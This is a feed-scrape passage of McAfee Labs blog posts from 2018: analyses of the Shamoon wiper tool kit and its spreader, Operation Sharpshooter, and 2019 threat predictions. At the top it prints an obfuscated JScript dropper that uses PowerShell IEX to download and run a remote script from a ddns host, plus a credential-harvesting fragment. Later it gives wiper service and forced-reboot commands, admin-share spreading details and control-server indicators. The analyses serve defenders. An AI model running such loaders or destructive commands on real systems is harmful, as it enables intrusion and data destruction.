YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/feed/ 0
McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cybercriminal-underground-iot-malware-other-threats/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cybercriminal-underground-iot-malware-other-threats/#respond Wed, 19 Dec 2018 05:01:10 +0000 https://securingtomorrow.mcafee.com/?p=93260

The McAfee Advanced Threat Research team today published the McAfee® Labs Threats Report, December 2018. In this edition, we highlight the notable investigative research and trends in threats statistics and observations gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q3 of 2018. We are very excited to present to you new […]

The post McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats appeared first on McAfee Blogs.

]]>

The McAfee Advanced Threat Research team today published the McAfee® Labs Threats Report, December 2018. In this edition, we highlight the notable investigative research and trends in threats statistics and observations gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q3 of 2018.

We are very excited to present to you new insights and a new format in this report. We are dedicated to listening to our customers to determine what you find important and how we can add value. In recent months we have gathered more threat intelligence, correlating and analyzing data to provide more useful insights into what is happening in the evolving threat landscape. McAfee is collaborating closely with MITRE Corporation in extending the techniques of its MITRE ATT&CK™ knowledge base, and we now include the model in our report. We are always working to refine our process and reports. You can expect more from us, and we welcome your feedback.

As we dissect the threat landscape for Q3, some noticeable statistics jump out of the report.  In particular, the continued rise in cryptojacking, which has made an unexpected emergence over the course of a year. In Q3 the growth of coin miner malware returned to unprecedented levels after a temporary slowdown in Q2.

Our analysis of recent threats included one notable introduction in a disturbing category. In Q3 we saw two new exploit kits: Fallout and Underminer. Fallout almost certainly had a bearing on the spread of GandCrab, the leading ransomware. Five years ago we published the report “Cybercrime Exposed,” which detailed the rise of cybercrime as a service. Exploit kits are the epitome of this economy, affording anyone the opportunity to easily and cheaply enter the digital crime business.

New malware samples jumped up again in Q3 after a decline during the last two quarters. Although the upward trend applies to almost every category, we did measure a decline in new mobile malware samples following three quarters of continual growth.

This post is only a small snapshot of the comprehensive analysis provided in the December Threats Report. We hope you enjoy the new format, and we welcome your feedback.

The post McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-examines-cybercriminal-underground-iot-malware-other-threats/feed/ 0
Shamoon Returns to Wipe Systems in Middle East, Europe https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/#respond Fri, 14 Dec 2018 20:32:41 +0000 https://securingtomorrow.mcafee.com/?p=93157

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims. Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can […]

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]>

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.

Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.

Recent attacks have demonstrated how big the damage can be. Last year NotPetya affected several companies around the world. Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.

Shamoon is destructive malware that McAfee has been monitoring since its appearance. The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant. Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry. This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.

During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.

Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends. However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.

As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component. Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable. The variant can also enumerate the local network, but in this case does nothing with that information. This variant has some bugs, suggesting the possibility that this version is a beta or test phase.

The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled). The wiping component has also been designed to target all files on the system with these options:

  • Overwrite file with garbage data (used in this version and the samples we analyzed)
  • Overwrite with a file (used in Shamoon Versions 1 and 2)
  • Encrypt the files and master boot record (not used in this version)

Shamoon is modular malware: The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk. The post presents our findings, including a detailed analysis and indicators of compromise.

Analysis

Shamoon is a dropper that carries three resources. The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks. The dropper requires an argument to run.

It decrypts the three resources and installs them on the system in the %System% folder. It also creates the service MaintenaceSrv, which runs the wiper. The typo in the service name eases detection.

The Advanced Threat Research team has watched this service evolve over the years. The following tables highlight the differences:


The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.

The result is either a blue screen or driver error that renders the machine unusable.

Overview

Dropper

Executable summary

The dropper contains other malicious components masked as encrypted files embedded in PE section.

These resources are decrypted by the dropper and contain:

  • MNU: The communication module
  • LNG: The wiper component
  • PIC: The 64-bit version of the dropper

Shamoon 2018 needs an argument to run and infect machines. It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.

It also drops the file key8854321.pub (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\Windows\Temp\key8854321.pub.

The malware decrypts two files used later:

  • C:\Windows\inf\mdmnis5tQ1.pnf
  • C:\Windows\inf\averbh_noav.pnf

Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.

The malware checks whether the following shares exist to copy itself and spread:

  • ADMIN$
  • C$\WINDOWS
  • D$\WINDOWS
  • E$\WINDOWS

Shamoon queries the service to retrieve specific information related to the LocalService account.

It then retrieves the resources within the PE file to drop the components. Finding the location of the resource:

Shamoon creates the file and sets the time to August 2012 as an antiforensic trick. It puts this date on any file it can destroy.

The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example. We also observed that in some cases the date is briefly modified on the system, faking the date of each file. The files dropped on the system are stored in C:\\Windows\System32\.

Before creating the malicious service, Shamoon elevates its privilege by impersonating the token. It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient. Metasploit uses a similar technique to elevate privileges.

Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.

Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):

If the service is already created, it changes the configuration parameter of the service with the previous configuration.

It finally finishes creating MaintenaceSrv:

The wiper dropped on the system can have any one of the following names:

 

 

Next the wiper runs to destroy the data.

Wiper

The wiper component is dropped into the System32 folder. It takes one parameter to run. The wiper driver is embedded in its resources.

We can see the encrypted resources, 101, in this screenshot:

The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.

Extracting the resource:

This preceding file is not malicious but is considered risky because it is the original driver.

The wiper creates a service to run the driver with the following command:

sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul

 

The following screenshot shows the execution of this command:

 

The malware overwrites every file in c:\Windows\System32, placing the machine in a critical state. All the files on the system are overwritten.

The overwriting process:

Finally, it forces the reboot with the following command:

Shutdown -r -f -t 2

 

Once the system is rebooted it shows a blue screen:

Worm

The worm component is extracted from the resources from the dropper. Destructive malware usually uses spreading techniques to infect machines as quickly as possible.

The worm component can take the following names:

We noticed the capability to scan for the local network and connect to a potential control server:

Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.

Conclusion

Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper. The wiper does not have to rely on the main stub process. The 2018 Shamoon variant’s functionality indicates modular development. This enables the wiper to be used by malware droppers other than Shamoon.

Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs. We expect to see additional attacks in the Middle East (and beyond) by these adversaries. We will continue to monitor our telemetry and will update this analysis as we learn more.

MITRE ATT&CK™ matrix

Indicators of compromise

df177772518a8fcedbbc805ceed8daecc0f42fed                    Original dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1                    Wiper
10411f07640edcaa6104f078af09e2543aa0ca07                   Worm module
43ed9c1309d8bb14bd62b016a5c34a2adbe45943               key8854321.pub
bf3e0bc893859563811e9a481fde84fe7ecd0684                  RawDisk driver

 

McAfee detection

  • Trojan-Wiper!DE07C4AC94A5
  • RDN/Generic.dx
  • Trojan-Wiper

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/feed/ 0
‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/#respond Wed, 12 Dec 2018 11:01:09 +0000 https://securingtomorrow.mcafee.com/?p=93008

This post was written with contributions from the McAfee Advanced Threat Research team.   The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download […]

The post ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure appeared first on McAfee Blogs.

]]>

This post was written with contributions from the McAfee Advanced Threat Research team.  

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.

Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

Read our full analysis of Operation Sharpshooter.

Have we seen this before?

This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation. Our analysis also indicates similar techniques associated with other job recruitment campaigns.

Global impact

In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis. Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office. This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest. The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.

Targeted organizations by sector in October 2018. Colors indicate the most prominently affected sector in each country. Source: McAfee® Global Threat Intelligence.

Infection flow of the Rising Sun implant, which eventually sends data to the attacker’s control servers.

 

Conclusion

Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence. The malware moves in several steps. The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence. The victim’s data is sent to a control server for monitoring by the actors, who then determine the next steps.

We have not previously observed this implant. Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.

Was this attack just a first-stage reconnaissance operation, or will there be more? We will continue to monitor this campaign and will report further when we or others in the security industry receive more information. The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.

 

Indicators of compromise

MITRE ATT&CK™ techniques

  • Account discovery
  • File and directory discovery
  • Process discovery
  • System network configuration discovery
  • System information discovery
  • System network connections discovery
  • System time discovery
  • Automated exfiltration
  • Data encrypted
  • Exfiltration over command and control channel
  • Commonly used port
  • Process injection

Hashes

  • 8106a30bd35526bded384627d8eebce15da35d17
  • 66776c50bcc79bbcecdbe99960e6ee39c8a31181
  • 668b0df94c6d12ae86711ce24ce79dbe0ee2d463
  • 9b0f22e129c73ce4c21be4122182f6dcbc351c95
  • 31e79093d452426247a56ca0eff860b0ecc86009

Control servers

  • 34.214.99.20/view_style.php
  • 137.74.41.56/board.php
  • kingkoil.com.sg/board.php

Document URLs

  • hxxp://208.117.44.112/document/Strategic Planning Manager.doc
  • hxxp://208.117.44.112/document/Business Intelligence Administrator.doc
  • hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc?dl=1

McAfee detection

  • RDN/Generic Downloader.x
  • Rising-Sun
  • Rising-Sun-DOC

 

The post ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/feed/ 0
McAfee Labs 2019 Threats Predictions Report https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-2019-threats-predictions/#respond Thu, 29 Nov 2018 09:00:11 +0000 https://securingtomorrow.mcafee.com/?p=92746

Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.

The post McAfee Labs 2019 Threats Predictions Report appeared first on McAfee Blogs.

]]>

These predictions were written by Eoin Carroll, Taylor Dunton, John Fokker, German Lancioni, Lee Munson, Yukihiro Okutomi, Thomas Roccia, Raj Samani, Sekhar Sarukkai, Dan Sommer, and Carl Woodward.

As 2018 draws to a close, we should perhaps be grateful that the year has not been entirely dominated by ransomware, although the rise of the GandCrab and SamSam variants show that the threat remains active. Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.

We have witnessed greater collaboration among cybercriminals exploiting the underground market, which has allowed them to develop efficiencies in their products. Cybercriminals have been partnering in this way for years; in 2019 this market economy will only expand. The game of cat and mouse the security industry plays with ransomware developers will escalate, and the industry will need to respond more quickly and effectively than ever before.

Social media has been a part of our lives for more than a decade. Recently, nation-states have infamously used social media platforms to spread misinformation. In 2019, we expect criminals to begin leveraging those tactics for their own gain. Equally, the continued growth of the Internet of Things in the home will inspire criminals to target those devices for monetary gain.

One thing is certain: Our dependency on technology has become ubiquitous. Consider the breaches of identity platforms, with reports of 50 million users being affected. It is no longer the case that a breach is limited to that platform. Everything is connected, and you are only as strong as your weakest link. In the future, we face the question of which of our weakest links will be compromised.

—Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research

Twitter @Raj_Samani

 

Predictions

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Artificial Intelligence the Future of Evasion Techniques

Synergistic Threats Will Multiply, Requiring Combined Responses

Misinformation, Extortion Attempts to Challenge Organizations’ Brands

Data Exfiltration Attacks to Target the Cloud

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Hidden hacker forums and chat groups serve as a market for cybercriminals, who can buy malware, exploits, botnets, and other shady services. With these off-the-shelf products, criminals of varying experience and sophistication can easily launch attacks. In 2019, we predict the underground will consolidate, creating fewer but stronger malware-as-a-service families that will actively work together. These increasingly powerful brands will drive more sophisticated cryptocurrency mining, rapid exploitation of new vulnerabilities, and increases in mobile malware and stolen credit cards and credentials.

We expect more affiliates to join the biggest families, due to the ease of operation and strategic alliances with other essential top-level services, including exploit kits, crypter services, Bitcoin mixers, and counter-antimalware services. Two years ago, we saw many of the largest ransomware families, for example, employ affiliate structures. We still see numerous types of ransomware pop up, but only a few survive because most cannot attract enough business to compete with the strong brands, which offer higher infection rates as well as operational and financial security. At the moment the largest families actively advertise their goods; business is flourishing because they are strong brands (see GandCrab) allied with other top-level services, such as money laundering or making malware undetectable.

Underground businesses function successfully because they are part of a trust-based system. This may not be a case of “honor among thieves,” yet criminals appear to feel safe, trusting they cannot be touched in the inner circle of their forums. We have seen this trust in the past, for example, with the popular credit card shops in the first decade of the century, which were a leading source of cybercrime until major police action broke the trust model.

As endpoint detection grows stronger, the vulnerable remote desktop protocol (RDP) offers another path for cybercriminals. In 2019 we predict malware, specifically ransomware, will increasingly use RDP as an entry point for an infection. Currently, most underground shops advertise RDP access for purposes other than ransomware, typically using it as a stepping stone to gain access to Amazon accounts or as a proxy to steal credit cards. Targeted ransomware groups and ransomware-as-a-service (RaaS) models will take advantage of RDP, and we have seen highly successful under-the-radar schemes use this tactic. Attackers find a system with weak RDP, attack it with ransomware, and propagate through networks either living off the land or using worm functionality (EternalBlue). There is evidence that the author of GandCrab is already working on an RDP option.

We also expect malware related to cryptocurrency mining will become more sophisticated, selecting which currency to mine on a victim’s machine based on the processing hardware (WebCobra) and the value of a specific currency at a given time.

Next year, we predict the length of a vulnerability’s life, from detection to weaponization, will grow even shorter. We have noticed a trend of cybercriminals becoming more agile in their development process. They gather data on flaws from online forums and the Common Vulnerabilities and Exposures database to add to their malware. We predict that criminals will sometimes take a day or only hours to implement attacks against the latest weaknesses in software and hardware.

We expect to see an increase in underground discussions on mobile malware, mostly focused on Android, regarding botnets, banking fraud, ransomware, and bypassing two-factor authentication security. The value of exploiting the mobile platform is currently underestimated as phones offer a lot to cybercriminals given the amount of access they have to sensitive information such as bank accounts.

Credit card fraud and the demand for stolen credit card details will continue, with an increased focus on online skimming operations that target third-party payment platforms on large e-commerce sites. From these sites, criminals can silently steal thousands of fresh credit cards details at a time. Furthermore, social media is being used to recruit unwitting users, who might not know they are working for criminals when they reship goods or provide financial services.

We predict an increase in the market for stolen credentials—fueled by recent large data breaches and by bad password habits of users. The breaches lead, for example, to the sale of voter records and email-account hacking. These attacks occur daily.

Artificial Intelligence the Future of Evasion Techniques

To increase their chances of success, attackers have long employed evasion techniques to bypass security measures and avoid detection and analysis. Packers, crypters, and other tools are common components of attackers’ arsenals. In fact, an entire underground economy has emerged, offering products and dedicated services to aid criminal activities. We predict in 2019, due to the ease with which criminals can now outsource key components of their attacks, evasion techniques will become more agile due to the application of artificial intelligence. Think the counter-AV industry is pervasive now? This is just the beginning.

In 2018 we saw new process-injection techniques such as “process doppelgänging” with the SynAck ransomware, and PROPagate injection delivered by the RigExploit Kit. By adding technologies such as artificial intelligence, evasion techniques will be able to further circumvent protections.

Different evasions for different malware

In 2018, we observed the emergence of new threats such as cryptocurrency miners, which hijack the resources of infected machines. With each threat comes inventive evasion techniques:

  • Cryptocurrency mining: Miners implement a number of evasion techniques. Minerva Labs discovered WaterMiner, which simply stops its mining process when the victim runs the Task Manager or an antimalware scan.
  • Exploit kits: Popular evasion techniques include process injection or the manipulation of memory space and adding arbitrary code. In-memory injection is a popular infection vector for avoiding detection during delivery.
  • Botnets: Code obfuscation or anti-disassembling techniques are often used by large botnets that infect thousands of victims. In May 2018, AdvisorsBot was discovered using junk code, fake conditional instructions, XOR encryption, and even API hashing. Because bots tend to spread widely, the authors implemented many evasion techniques to slow reverse engineering. They also used obfuscation mechanisms for communications between the bots and control servers. Criminals use botnets for activities such as DDOS for hire, proxies, spam, or other malware delivery. Using evasion techniques is critical for criminals to avoid or delay botnet takedowns.
  • Advanced persistent threats: Stolen certificates bought on the cybercriminal underground are often used in targeted attacks to bypass antimalware detection. Attackers also use low-level malware such as rootkits or firmware-based threats. For example, in 2018 ESET discovered the first UEFI rootkit, LoJax. Security researchers have also seen destructive features used as anti-forensic techniques: The OlympicDestroyer malware targeted the Olympic Games organization and erased event logs and backups to avoid investigation.

Artificial intelligence the next weapon

In recent years, we have seen malware using evasion techniques to bypass machine learning engines. For example, in 2017 the Cerber ransomware dropped legitimate files on systems to trick the engine that classifies files. In 2018, PyLocky ransomware used InnoSetup to package the malware and avoid machine learning detection.

Clearly, bypassing artificial intelligence engines is already on the criminal to-do list; however, criminals can also implement artificial intelligence in their malicious software. We expect evasion techniques to begin leveraging artificial intelligence to automate target selection, or to check infected environments before deploying later stages and avoiding detection.

Such implementation is game changing in the threat landscape. We predict it will soon be found in the wild.

Synergistic Threats Will Multiply, Requiring Combined Responses

This year we have seen cyber threats adapt and pivot faster than ever. We have seen ransomware evolving to be more effective or operate as a smoke screen. We have seen cryptojacking soar, as it provides a better, and safer, return on investment than ransomware. We can still see phishing going strong and finding new vulnerabilities to exploit. We also noticed fileless and “living off the land” threats are more slippery and evasive than ever, and we have even seen the incubation of steganography malware in the Pyeongchang Olympics campaign. In 2019, we predict attackers will more frequently combine these tactics to create multifaced, or synergistic, threats.

What could be worse?

Attacks are usually centered on the use of one threat. Bad actors concentrate their efforts on iterating and evolving one threat at a time for effectiveness and evasion. When an attack is successful, it is classified as ransomware, cryptojacking, data exfiltration, etc., and defenses are put in place. At this point, the attack’s success rate is significantly reduced. However, if a sophisticated attack involves not one but five top-notch threats synergistically working together, the defense panorama could become very blurry. The challenge arises when an attempt is made to identify and mitigate the attack. Because the ultimate attack goals are unknown, one might get lost in the details of each threat as it plays a role in the chain.

One of the reasons synergic threats are becoming a reality is because bad actors are improving their skills by developing foundations, kits, and reusable threat components. As attackers organize their efforts into a black-market business model, they can focus on adding value to previous building blocks. This strategy allows them to orchestrate multiple threats instead of just one to reach their goals.

An example is worth a thousand words

Imagine an attack that starts with a phishing threat—not a typical campaign using Word documents, but a novel technique. This phishing email contains a video attachment. When you open the video, your video player does not play and prompts you to update the codec. Once you run the update, a steganographic polyglot file (a simple GIF) is deployed on your system. Because it is a polyglot (a file that conforms to more than one format at the same time), the GIF file schedules a task that fetches a fileless script hosted on a compromised system. That script running in memory evaluates your system and decides to run either ransomware or a cryptocurrency miner. That is a dangerous synergistic threat in action.

The attack raises many questions: What are you dealing with? Is it phishing 2.0? Is it stegware? Is it fileless and “living off the land”? Cryptojacking? Ransomware? It is everything at the same time.

This sophisticated but feasible example demonstrates that focusing on one threat may not be enough to detect or remediate an attack. When you aim to classify the attack into a single category, you might lose the big picture and thus be less effective mitigating it. Even if you stop the attack in the middle of the chain, discovering the initial and final stages is as important for protecting against future attempts.

Be curious, be creative, connect your defenses

Tackling sophisticated attacks based on synergic threats requires questioning every threat. What if this ransomware hit was part of something bigger? What if this phishing email pivots to a technique that employees are not trained for? What if we are missing the real goal of the attack?

Bearing these questions in mind will not only help capture the big picture, but also get the most of security solutions. We predict bad actors will add synergy to their attacks, but cyber defenses can also work synergistically.

Cybercriminals to Use Social Media Misinformation, Extortion Campaigns to Challenge Organizations’ Brands

The elections were influenced, fake news prevails, and our social media followers are all foreign government–controlled bots. At least that’s how the world feels sometimes. To say recent years have been troubled for social media companies would be an understatement. During this period a game of cat and mouse has ensued, as automated accounts are taken down, adversaries tactics evolve, and botnet accounts emerge looking more legitimate than ever before. In 2019, we predict an increase of misinformation and extortion campaigns via social media that will focus on brands and originate not from nation-state actors but from criminal groups.

Nation-states leverage bot battalions to deliver messages or manipulate opinion, and their effectiveness is striking. Bots often will take both sides of a story to spur debate, and this tactic works. By employing a system of amplifying nodes, as well as testing the messaging (including hashtags) to determine success rates, botnet operators demonstrate a real understanding of how to mold popular opinion on critical issues.

In one example, an account that was only two weeks old with 279 followers, most of which were other bots, began a harassment campaign against an organization. By amplification, the account generated an additional 1,500 followers in only four weeks by simply tweeting malicious content about their target.

